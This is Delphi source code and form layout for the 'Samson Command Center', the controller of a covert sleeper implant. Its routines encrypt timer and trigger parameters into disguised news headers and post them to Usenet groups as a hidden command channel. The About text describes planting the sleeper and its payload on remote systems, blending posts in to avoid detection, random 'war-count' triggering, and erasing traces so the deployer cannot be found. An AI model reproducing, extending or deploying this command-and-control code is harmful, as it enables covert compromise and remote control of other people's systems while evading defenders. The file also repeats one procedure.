    Buffer: TParams;
    Hash: TDCP_sha1;
    HashDigest,
    OldHashDigest: array[0..31] of byte;
    OldEncrypt,Encrypt: TDCP_blockcipher;
    Read: integer;
    nvs:string;
    //this function gets round a typecast failure
    function raw(i:integer):integer;
    begin
    result:=buffer.raw;
    end;
    begin
    nvs:=message.ExtraHeaders.namevalueseparator;
    message.Clear;
    message.Subject:=SubjectEdit.Text;
    message.Body.Assign(cloakingMessage.Lines);
    message.From.DisplayName:=nameEdit.Text;
    message.From.Address:=ReplyEdit.Text;
    CloakSize:=length(message.Body.Text);

    // crypto procedure
    FillChar(Buffer,Sizeof(Buffer),$00);
    FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
    FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
    digest
    Hash:= TDCP_sha1.Create(Self);
    // hash the new passphrase
    Hash.Init;
    Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
    Hash.Final(HashDigest);
    // hash the old passphrase
    Hash.Init;
    Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
    Hash.Final(OldHashDigest);
    Hash.Free;
    data:='';
    OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
    the combo box
    OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically
    (note: size in bits ie. sizeof(x)*8)
    OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
    use as passphrase
    OldEncrypt.Reset;
    for l:=0 to sizeof(oldhashDigest)-1 do
    data:=Data+intToHex(OldHashDigest[l],2); // confirmation
    //encrypt the new password;
    Text:=Newkey.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Algorithim;
    Text:=CAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Hash Algo;
    Text:=HAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    // add the whole lot to the x-samson header
    // first cloak the header so echelon cant find it easy
    text:='samson';
    Header:='X-';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // message.Headers.Add(header+'='+data);
    message.ExtraHeaders.Add(header+nvs+data);
    OldEncrypt.Reset;
    // now we move to the new algorithm
    Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
    combo box
    Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically (note: size in
    bits ie. sizeof(x)*8)
    Header:='X-';
    Text:='params';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // do the params
    Buffer.primary:=primarydelay.value;
    Buffer.pVar:=primaryVariance.value;
    Buffer.window:=WindowPeriod.Value;
    Buffer.winVar:=WindowVariance.Value;
    Buffer.polling:=PollingPeriod.Value;
    Buffer.pollVar:=PollingVariance.Value;
    Buffer.newsgroups:=NGProcessCount.Value;
    Buffer.postings:=PostingsProcessCount.Value;
    Buffer.priming:=PrimingPeriod.Value;
    Buffer.primeVar:=PrimingVariance.Value;
    Buffer.trigger:=TriggerPeriod.Value;
    Buffer.triggerVar:=TriggerVariance.Value;
    Buffer.throttle:=Throttle.Value;
    Buffer.throttleVar:=ThrottleVariance.Value;
    Buffer.icqPoll:=icqpollingPeriod.Value;
    Buffer.icqPollVar:=icqpollingVariance.Value;
    Buffer.icqWindow:=IcqWindowPeriod.Value;
    Buffer.icqWindowVar:=IcqWindowVariance.Value;

    encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
    data:='';
    for l:=0 to (20*sizeof(integer))-1 do
    Data:=Data+intToHex(raw(l),2); // confirmation
    message.ExtraHeaders.Add(Header+nvs+data);
    // encrypt the payload
    // add the payload at the end of the cloaking message as hex strings
    L:=0;
    while ServerList.Count>L do
    try
    Application.ProcessMessages;
    if Application.Terminated then Exit;
    Message.NewsGroups.Clear;
    Message.NewsGroups.Add(ServerList.ValueFromIndex[L]);
    nntp.Post(Message);
    Log.Lines.Add(ServerList.ValueFromIndex[L]);
    Inc(L);
    except
    Log.Lines.Add('Failed: '+ServerList.ValueFromIndex[L]);
    ServerList.Delete(L);
    end;
    end;

    procedure TMainForm.CloakedClick(Sender: TObject);
    var header,data,text:string; l,q:integer;
    var
    Source, Dest: file;
    Buffer: TParams;
    Hash: TDCP_sha1;
    HashDigest,
    OldHashDigest: array[0..31] of byte;
    OldEncrypt,Encrypt: TDCP_blockcipher;
    Read: integer;
    nvs:string;
    //this function gets round a typecast failure
    function raw(i:integer):integer;
    begin
    result:=buffer.raw;
    end;
    begin
    nvs:=message.ExtraHeaders.namevalueseparator;
    message.Clear;
    message.Subject:=SubjectEdit.Text;
    message.Body.Assign(cloakingMessage.Lines);
    message.From.DisplayName:=nameEdit.Text;
    message.From.Address:=ReplyEdit.Text;
    CloakSize:=length(message.Body.Text);

    // crypto procedure
    FillChar(Buffer,Sizeof(Buffer),$00);
    FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
    FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
    digest
    Hash:= TDCP_sha1.Create(Self);
    // hash the new passphrase
    Hash.Init;
    Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
    Hash.Final(HashDigest);
    // hash the old passphrase
    Hash.Init;
    Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
    Hash.Final(OldHashDigest);
    Hash.Free;
    data:='';
    OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
    the combo box
    OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically
    (note: size in bits ie. sizeof(x)*8)
    OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
    use as passphrase
    OldEncrypt.Reset;
    for l:=0 to sizeof(oldhashDigest)-1 do
    data:=Data+intToHex(OldHashDigest[l],2); // confirmation
    //encrypt the new password;
    Text:=Newkey.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Algorithim;
    Text:=CAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Hash Algo;
    Text:=HAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    // add the whole lot to the x-samson header
    // first cloak the header so echelon cant find it easy
    text:='samson';
    Header:='X-';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // message.Headers.Add(header+'='+data);
    message.ExtraHeaders.Add(header+nvs+data);
    OldEncrypt.Reset;
    // now we move to the new algorithm
    Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
    combo box
    Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically (note: size in
    bits ie. sizeof(x)*8)
    Header:='X-';
    Text:='params';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // do the params
    Buffer.primary:=primarydelay.value;
    Buffer.pVar:=primaryVariance.value;
    Buffer.window:=WindowPeriod.Value;
    Buffer.winVar:=WindowVariance.Value;
    Buffer.polling:=PollingPeriod.Value;
    Buffer.pollVar:=PollingVariance.Value;
    Buffer.newsgroups:=NGProcessCount.Value;
    Buffer.postings:=PostingsProcessCount.Value;
    Buffer.priming:=PrimingPeriod.Value;
    Buffer.primeVar:=PrimingVariance.Value;
    Buffer.trigger:=TriggerPeriod.Value;
    Buffer.triggerVar:=TriggerVariance.Value;
    Buffer.throttle:=Throttle.Value;
    Buffer.throttleVar:=ThrottleVariance.Value;
    Buffer.icqPoll:=icqpollingPeriod.Value;
    Buffer.icqPollVar:=icqpollingVariance.Value;
    Buffer.icqWindow:=IcqWindowPeriod.Value;
    Buffer.icqWindowVar:=IcqWindowVariance.Value;

    encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
    data:='';
    for l:=0 to (20*sizeof(integer))-1 do
    Data:=Data+intToHex(raw(l),2); // confirmation
    message.ExtraHeaders.Add(Header+nvs+data);
    // encrypt the payload
    // add the payload at the end of the cloaking message as hex strings
    for l:=0 to scce.Strings.Count-1 do
    begin
    try
    SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
    NNTP.Host:=SCCV.Values['HOST'];
    for Q:=0 to SCCV.Strings.Count-1 do
    begin
    try
    if SCCV.Strings.Names[q]='newsgroup' then
    begin
    Message.NewsGroups.Clear;
    Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
    nntp.Post(Message);
    end;
    except
    // just keep it quiet
    end;
    end;
    except
    // nevermind the verbose fail silently
    end;
    end;
    end;

    procedure TMainForm.LogDblClick(Sender: TObject);
    begin
    Log.Clear;
    end;

    end.


    object MainForm: TMainForm
    Left = 194
    Top = 96
    Width = 703
    Height = 444
    Caption = 'Samson Command Center Version 3 for Windows NT'
    Color = clBtnFace
    TransparentColor = True
    TransparentColorValue = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    OnActivate = FormActivate
    OnCreate = FormCreate
    PixelsPerInch = 96
    TextHeight = 13
    object PageControl1: TPageControl
    Left = 0
    Top = 24
    Width = 695
    Height = 374
    ActivePage = TabConfig
    Align = alClient
    TabOrder = 0
    object TabMain: TTabSheet
    Caption = 'Samson List'
    object ToolBar4: TToolBar
    Left = 0
    Top = 0
    Width = 651
    Height = 24
    ButtonHeight = 21
    ButtonWidth = 38
    Caption = 'ToolBar1'
    Flat = True
    ShowCaptions = True
    TabOrder = 0
    object ToolButton13: TToolButton
    Left = 0
    Top = 0
    Caption = 'New'
    ImageIndex = 0
    OnClick = ToolButton13Click
    end
    object ToolButton14: TToolButton
    Left = 38
    Top = 0
    Caption = 'Delete'
    OnClick = deleteSamsonClick
    end
    end
    object SLE: TValueListEditor
    Left = 0
    Top = 24
    Width = 185
    Height = 323
    Align = alLeft
    DefaultColWidth = 180
    Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect,
    goThumbTracking]
    Strings.Strings = (
    '=')
    TabOrder = 1
    TitleCaptions.Strings = (
    'Samson Unit/Pair'
    'Value')
    OnSelectCell = SLESelectCell
    ColWidths = (
    180
    -1)
    end
    object SLV: TValueListEditor
    Left = 185
    Top = 24
    Width = 466
    Height = 323
    Align = alClient
    DefaultColWidth = 115
    FixedCols = 1
    Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
    TabOrder = 2
    OnStringsChange = SLVStringsChange
    ColWidths = (
    115
    345)
    RowHeights = (
    18
    18)
    end
    end
    object TabServersSCC: TTabSheet
    Caption = 'Servers (SCC)'
    ImageIndex = 5
    object SCCE: TValueListEditor
    Left = 0
    Top = 24
    Width = 185
    Height = 323
    Align = alLeft
    DefaultColWidth = 180
    Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect,
    goThumbTracking]
    Strings.Strings = (
    '=')
    TabOrder = 0
    TitleCaptions.Strings = (
    'News Server'
    'Value')
    OnSelectCell = SCCESelectCell
    ColWidths = (
    180
    -1)
    end
    object SCCV: TValueListEditor
    Left = 185
    Top = 24
    Width = 466
    Height = 323
    Align = alClient
    DefaultColWidth = 115
    FixedCols = 1
    Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
    TabOrder = 1
    OnStringsChange = SCCVStringsChange
    ColWidths = (
    115
    345)
    end
    object ToolBar6: TToolBar
    Left = 0
    Top = 0
    Width = 651
    Height = 24
    ButtonHeight = 21
    ButtonWidth = 57
    Caption = 'ToolBar1'
    Flat = True
    ShowCaptions = True
    TabOrder = 2
    object ToolButton20: TToolButton
    Left = 0
    Top = 0
    Caption = 'New'
    ImageIndex = 0
    OnClick = SCCNewsServers
    end
    object ToolButton21: TToolButton
    Left = 57
    Top = 0
    Caption = 'Delete'
    OnClick = SCCDeleteClick
    end
    object ToolButton15: TToolButton
    Left = 114
    Top = 0
    Caption = 'New NG'
    ImageIndex = 0
    OnClick = ToolButton15Click
    end
    object ToolButton16: TToolButton
    Left = 171
    Top = 0
    Caption = 'Delete NG'
    ImageIndex = 1
    OnClick = ToolButton16Click
    end
    end
    end
    object TabPaload: TTabSheet
    Caption = 'Payload'
    ImageIndex = 3
    object ToolBar3: TToolBar
    Left = 0
    Top = 0
    Width = 687
    Height = 24
    ButtonHeight = 21
    ButtonWidth = 45
    Caption = 'ToolBar1'
    Flat = True
    ShowCaptions = True
    TabOrder = 0
    object ToolButton9: TToolButton
    Left = 0
    Top = 0
    Caption = 'New'
    ImageIndex = 0
    OnClick = NewPayload
    end
    object ToolButton10: TToolButton
    Left = 45
    Top = 0
    Caption = 'Delete'
    OnClick = ToolButton10Click
    end
    object ToolButton12: TToolButton
    Left = 90
    Top = 0
    Caption = 'Clear All'
    ImageIndex = 0
    OnClick = ToolButton12Click
    end
    end
    object PayloadList: TListBox
    Left = 0
    Top = 24
    Width = 687
    Height = 322
    Align = alClient
    ItemHeight = 13
    TabOrder = 1
    end
    end
    object TabConfig: TTabSheet
    Caption = 'Configuration'
    ImageIndex = 2
    object Panel1: TPanel
    Left = 0
    Top = 0
    Width = 687
    Height = 346
    Align = alClient
    BevelInner = bvRaised
    BevelOuter = bvLowered
    TabOrder = 0
    object Label1: TLabel
    Left = 8
    Top = 6
    Width = 165
    Height = 16
    Caption = 'Newsflash configuration'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsBold]
    ParentFont = False
    end
    object Label2: TLabel
    Left = 222
    Top = 6
    Width = 119
    Height = 16
    Caption = 'ICQ configuration'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsBold]
    ParentFont = False
    end
    object PrimaryVariance: TLabelSpinEdit
    Left = 135
    Top = 39
    Width = 93
    Height = 22
    Color = clWhite
    MaxValue = 0
    MinValue = 0
    TabOrder = 5
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 73
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (days)'
    end
    object WindowVariance: TLabelSpinEdit
    Left = 135
    Top = 77
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 6
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 73
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (days)'
    end
    object PostingsProcessCount: TLabelSpinEdit
    Left = 135
    Top = 153
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 7
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 92
    EditLabel.Height = 13
    EditLabel.Caption = 'Postings to process'
    end
    object PrimingVariance: TLabelSpinEdit
    Left = 135
    Top = 191
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 8
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 77
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (hours)'
    end
    object TriggerVariance: TLabelSpinEdit
    Left = 135
    Top = 229
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 9
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 73
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (days)'
    end
    object PrimaryDelay: TLabelSpinEdit
    Left = 16
    Top = 39
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 0
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 95
    EditLabel.Height = 13
    EditLabel.Caption = 'Primary Delay (days)'
    end
    object WindowPeriod: TLabelSpinEdit
    Left = 16
    Top = 77
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 1
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 72
    EditLabel.Height = 13
    EditLabel.Caption = 'Window Period'
    end
    object NGProcessCount: TLabelSpinEdit
    Left = 16
    Top = 153
    Width = 116
    Height = 22
    Hint = 'leave at -1 to process all found on the server'
    MaxValue = 0
    MinValue = -1
    TabOrder = 2
    Value = -1
    OnChange = ValueChange
    EditLabel.Width = 111
    EditLabel.Height = 13
    EditLabel.Caption = 'Newsgroups to process'
    end
    object PrimingPeriod: TLabelSpinEdit
    Left = 16
    Top = 191
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 3
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 102
    EditLabel.Height = 13
    EditLabel.Caption = 'Priming Period (hours)'
    end
    object TriggerPeriod: TLabelSpinEdit
    Left = 16
    Top = 229
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 4
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 97
    EditLabel.Height = 13
    EditLabel.Caption = 'Trigger Period (days)'
    end
    object Throttle: TLabelSpinEdit
    Left = 16
    Top = 267
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 10
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 110
    EditLabel.Height = 13
    EditLabel.Caption = 'Throttle (bytes/second)'
    end
    object ThrottleVariance: TLabelSpinEdit
    Left = 135
    Top = 267
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 11
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 42
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance'
    end
    object PollingPeriod: TLabelSpinEdit
    Left = 16
    Top = 115
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 12
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 64
    EditLabel.Height = 13
    EditLabel.Caption = 'Polling Period'
    end
    object PollingVariance: TLabelSpinEdit
    Left = 135
    Top = 115
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 13
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 73
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (days)'
    end
    object IcqWindowVariance: TLabelSpinEdit
    Left = 353
    Top = 77
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 14
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 77
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (hours)'
    end
    object IcqWindowPeriod: TLabelSpinEdit
    Left = 234
    Top = 77
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 15
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 72
    EditLabel.Height = 13
    EditLabel.Caption = 'Window Period'
    end
    object IcqPollingPeriod: TLabelSpinEdit
    Left = 234
    Top = 39
    Width = 116
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 16
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 64
    EditLabel.Height = 13
    EditLabel.Caption = 'Polling Period'
    end
    object IcqPollingVariance: TLabelSpinEdit
    Left = 353
    Top = 39
    Width = 93
    Height = 22
    MaxValue = 0
    MinValue = 0
    TabOrder = 17
    Value = 0
    OnChange = ValueChange
    EditLabel.Width = 77
    EditLabel.Height = 13
    EditLabel.Caption = 'Variance (hours)'
    end
    object NewsHost: TLabeledEdit
    Left = 458
    Top = 40
    Width = 209
    Height = 21
    EditLabel.Width = 49
    EditLabel.Height = 13
    EditLabel.Caption = 'NewsHost'
    TabOrder = 18
    Text = '127.0.0.1'
    OnChange = NewsHostChange
    end
    object StaticText1: TStaticText
    Left = 446
    Top = 5
    Width = 129
    Height = 20
    Caption = 'SCC Configuration'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsBold]
    ParentFont = False
    TabOrder = 19
    end
    object PortID: TLabelSpinEdit
    Left = 458
    Top = 116
    Width = 121
    Height = 22
    MaxValue = 65535
    MinValue = 0
    TabOrder = 20
    Value = 119
    OnChange = PortIDChange
    EditLabel.Width = 19
    EditLabel.Height = 13
    EditLabel.Caption = 'Port'
    end
    object LabeledEdit2: TLabeledEdit
    Left = 234
    Top = 115
    Width = 217
    Height = 21
    EditLabel.Width = 40
    EditLabel.Height = 13
    EditLabel.Caption = 'ICQ UID'
    TabOrder = 21
    end
    object LabeledEdit3: TLabeledEdit
    Left = 234
    Top = 154
    Width = 217
    Height = 21
    EditLabel.Width = 67
    EditLabel.Height = 13
    EditLabel.Caption = 'ICQ Password'
    TabOrder = 22
    end
    object XReader: TLabeledEdit
    Left = 458
    Top = 78
    Width = 209
    Height = 21
    EditLabel.Width = 45
    EditLabel.Height = 13
    EditLabel.Caption = 'X-Reader'
    TabOrder = 23
    Text = 'Newsflash'
    OnChange = XReaderChange
    end
    object UserName: TLabeledEdit
    Left = 458
    Top = 155
    Width = 217
    Height = 21
    EditLabel.Width = 53
    EditLabel.Height = 13
    EditLabel.Caption = 'User Name'
    TabOrder = 24
    end
    object PasswordEdit: TLabeledEdit
    Left = 458
    Top = 194
    Width = 217
    Height = 21
    EditLabel.Width = 46
    EditLabel.Height = 13
    EditLabel.Caption = 'Password'
    TabOrder = 25
    end
    end
    end
    object TabCrypto: TTabSheet
    Caption = 'Cypher'
    ImageIndex = 6
    object LCKey: TLabel
    Left = 4
    Top = 28
    Width = 37
    Height = 13
    Caption = 'Old Key'
    end
    object LHashKey: TLabel
    Left = 4
    Top = 124
    Width = 70
    Height = 13
    Caption = 'Converted Key'
    end
    object LCipher: TLabel
    Left = 4
    Top = 3
    Width = 115
    Height = 16
    Caption = 'Cipher Algorithm'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsBold]
    ParentFont = False
    end
    object Bevel2: TBevel
    Left = 122
    Top = 9
    Width = 416
    Height = 7
    Shape = bsTopLine
    end
    object Label3: TLabel
    Left = 4
    Top = 76
    Width = 71
    Height = 13
    Caption = 'Encryption Key'
    end
    object Label4: TLabel
    Left = 4
    Top = 100
    Width = 47
    Height = 13
    Caption = 'Verify Key'
    end
    object CAlgorithmLbl: TLabel
    Left = 16
    Top = 160
    Width = 76
    Height = 13
    Caption = 'Crypto Algorithm'
    end
    object HAlgorithmLbl: TLabel
    Left = 256
    Top = 160
    Width = 71
    Height = 13
    Caption = 'Hash Algorithm'
    end
    object Label5: TLabel
    Left = 256
    Top = 208
    Width = 90
    Height = 13
    Caption = 'Old Hash Algorithm'
    end
    object Label6: TLabel
    Left = 16
    Top = 208
    Width = 95
    Height = 13
    Caption = 'Old Crypto Algorithm'
    end
    object Label7: TLabel
    Left = 4
    Top = 52
    Width = 37
    Height = 13
    Caption = 'Old Key'
    end
    object EHashKey: TEdit
    Left = 83
    Top = 120
    Width = 457
    Height = 21
    Color = clBtnHighlight
    ReadOnly = True
    TabOrder = 0
    end
    object Oldkey: TEdit
    Left = 83
    Top = 23
    Width = 457
    Height = 21
    Color = clWhite
    TabOrder = 1
    Text = 'this is the crypt key for the encoding of the data'
    OnChange = OldkeyVerifyChange
    end
    object Progress: TProgressBar
    Left = 84
    Top = 143
    Width = 458
    Height = 8
    Step = 1
    TabOrder = 2
    end
    object Newkey: TEdit
    Left = 83
    Top = 71
    Width = 457
    Height = 21
    Color = clWhite
    TabOrder = 3
    Text = 'this is the crypt key for the encoding of the data'
    OnChange = VerifykeyChange
    end
    object Verifykey: TEdit
    Left = 83
    Top = 95
    Width = 457
    Height = 21
    TabOrder = 4
    Text = 'this is the crypt key for the encoding of the data'
    OnChange = VerifykeyChange
    end
    object CAlgorithmCBx: TComboBox
    Left = 16
    Top = 176
    Width = 225
    Height = 21
    Style = csDropDownList
    ItemHeight = 13
    Sorted = True
    TabOrder = 5
    end
    object HAlgorithmCBx: TComboBox
    Left = 256
    Top = 176
    Width = 225
    Height = 21
    Style = csDropDownList
    ItemHeight = 13
    TabOrder = 6
    end
    object OldCAlgorithmCBx: TComboBox
    Left = 16
    Top = 224
    Width = 225
    Height = 21
    Style = csDropDownList
    ItemHeight = 13
    Sorted = True
    TabOrder = 7
    end
    object OldHAlgorithmCBx: TComboBox
    Left = 256
    Top = 224
    Width = 225
    Height = 21
    Style = csDropDownList
    ItemHeight = 13
    TabOrder = 8
    end
    object OldkeyVerify: TEdit
    Left = 83
    Top = 47
    Width = 457
    Height = 21
    TabOrder = 9
    Text = 'this is the crypt key for the encoding of the data'
    OnChange = OldkeyVerifyChange
    end
    end
    object TabCloaking: TTabSheet
    Caption = 'Cloaking Message'
    ImageIndex = 7
    object CloakingMessage: TMemo
    Left = 0
    Top = 82
    Width = 687
    Height = 264
    Align = alClient
    TabOrder = 0
    end
    object GroupBox1: TGroupBox
    Left = 0
    Top = 41
    Width = 687
    Height = 41
    Align = alTop
    Caption = 'From'
    TabOrder = 1
    object NameEdit: TEdit
    Left = 8
    Top = 14
    Width = 231
    Height = 21
    TabOrder = 0
    end
    object ReplyEdit: TEdit
    Left = 241
    Top = 14
    Width = 294
    Height = 21
    TabOrder = 1
    end
    end
    object GroupBox2: TGroupBox
    Left = 0
    Top = 0
    Width = 687
    Height = 41
    Align = alTop
    Caption = 'Subject'
    TabOrder = 2
    object subjectedit: TEdit
    Left = 8
    Top = 14
    Width = 529
    Height = 21
    TabOrder = 0
    end
    end
    end
    object TabAbout: TTabSheet
    Caption = 'About'
    ImageIndex = 4
    object AboutMemo: TMemo
    Left = 0
    Top = 0
    Width = 687
    Height = 346
    Align = alClient
    Lines.Strings = (
    'source code available at http://'
    ''
    'Released into the public domain'
    'Terms and conditions'
    '1:use at your own risk'
    '2:no warranty of any kind, NONE, NADA, ZERO,get the picture!'

    '3:Ya want more features, compile it yourself, there is no suppor' +
    't group'
    '4:if you improve it, release it,I would like a copy!'

    '5:do not use for illegal purposes, take a tip, it may not be ill' +
    'egal in another country, Travel!'

    '6:please do use to expose corrupt cops, judges, government offic' +
    'ials, etc.'

    ' useful inventions, enough information to allow your creation t' +
    'o be built (Details)'
    ' '
    'there is also SAMSON by the same author'
    'SAMSON is designed as a fully cloaked sleeper service'

    'SAMSON sleeper is placed on remote systems along with it'#39's paylo' +
    'ad'
    'SAMSON control resides on a desktop or website'

    'control codes are issued by the controller periodically, these a' +
    're picked up through public'

    'communication media, newsgroups, icq or others as per specific i' +
    'mplementation & configuration'

    'if valid codes are received SAMSON can respond by updating the p' +
    'ayload, going active '
    'or resetting its sleep counters'
    'SAMSON does not issue verification codes ever!'

    'once SAMSON is deployed on a system, rip up and destroy all trac' +
    'e information, do not use your home '
    'system to deploy'
    'then even the deployer cannot trace it'

    'but if someone interfers with the deployer it dont get reset and' +
    ' the timers expire'
    'SAMSON primes with a list of newsgroups'

    'SAMSON gets a list of postings and extracts sender names & subje' +
    'cts'

    'these names and subjects are cross-mixed and used for multiple p' +
    'ostings to each newsgroup'

    'this method ensures that these postings appear to be legimate in' +
    '-context postings'
    'the payload is of course whats in the body and whats important'

    'the author has written a number of implementations of SAMSON sle' +
    'eper for various target systems'

    'it is described here as some bright spark will write their own i' +
    'mplementation and'

    'the anti-virus writers will have a new toy to chase, the compute' +
    'r press will have a new subject to write '
    'about'

    'the nice thing about using embedded control codes in newsgroup p' +
    'ostings is that all usenet clients '

    'when browsing a newsgroup download the subject & header informat' +
    'ion, thats where the control codes '
    'are'

    'echelon, that big brother system then has a job deciding was it ' +
    'a legitimate user or SAMSON that read the '
    'headers'

    'just for good measure all timers within SAMSON use random offset' +
    ' so if you reset for 180 days it will vary '
    'by + or - a few '
    'days'
    'this applies to all timed functions within SAMSON'
    'deployment can be singular or paired'

    'pairing ensures the payload cannot be read on system A if it is ' +
    'found as the crypto code is on system B so '
    'they must '
    'match the pair'

    'joined triggering is another nice feature, trigger system A & it' +
    ' will issue trigger codes for all others in the '
    'group'

    'when triggered, the system goes into war-count, this can be set ' +
    'between 1 & 255 days maximum, '
    'SAMSON however '
    'picks a random period within the range'
    'so you never know when its going to go off.'

